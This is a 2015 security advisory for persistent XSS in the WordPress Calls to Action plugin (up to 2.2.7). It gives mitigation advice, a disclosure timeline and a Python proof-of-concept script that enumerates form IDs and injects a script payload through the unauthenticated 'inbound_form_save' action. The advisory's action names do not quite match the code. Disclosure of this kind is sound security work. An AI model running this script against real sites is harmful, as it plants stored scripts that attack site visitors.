WordPress Calls to Action <=2.2.7, Persistent XSS
The AJAX action ‘inbound_form_save’ allows unauthenticated users to update the content of any specific form on the site. In order to exploit this, a form ID must be enumerated using another unauthenticated AJAX action, ‘inbound_get_form_data’. Once a form ID has been enumerated, the content of the form may be overwritten a request like the one constructed in the PoC below. This allows for a Persistent XSS to be achieved on any page that a form is used, as no validation is performed on the input of the ‘shortcode’ field data.
Homepage
https://wordpress.org/plugins/cta/
CVSS Score
4.3
CSSS Vector
(AV:N/AC:M/Au:N/C:N/I:P/A:N)
Attack Scope
remote
Authorization Required
None
Mitigation
Update to version 2.2.8.
Proof of Concept
import requests,json
url = 'http://localhost/wp-admin/admin-ajax.php'
# Look for forms in ID 1 - 100, and modify content when one is found
for i in range(1,100):
payload = {
"action":"inbound_form_get_data",
"form_id":i
}
r = requests.post(url, data=payload)
try:
r_data = json.loads(r.text)
if r_data["inbound_shortcode"] != "":
payload = {
"action":"inbound_form_save",
"post_id":i,
"post_type":"inbound-forms",
"shortcode":'[inbound_form submit="<script>alert(1)</script>"][inbound_field][/inbound_form]',
}
r = requests.post(url, data=payload)
print "Form ID %s, XSS inserted"%i
except:
pass
Timeline
- 2015-01-10: Discovered
- 2015-01-11: Vendor notified
- 2015-01-11: Vendor responded
- 2015-01-12: 2.2.7 released – issues partly resolved – functions still available to all authorized users, and vulnerable to CSRF
- 2015-01-13: 2.2.8 released – nonce added to prevent CSRF – issues resolved
- 2015-01-15: CVE Requested
- 2015-02-02: Advisory released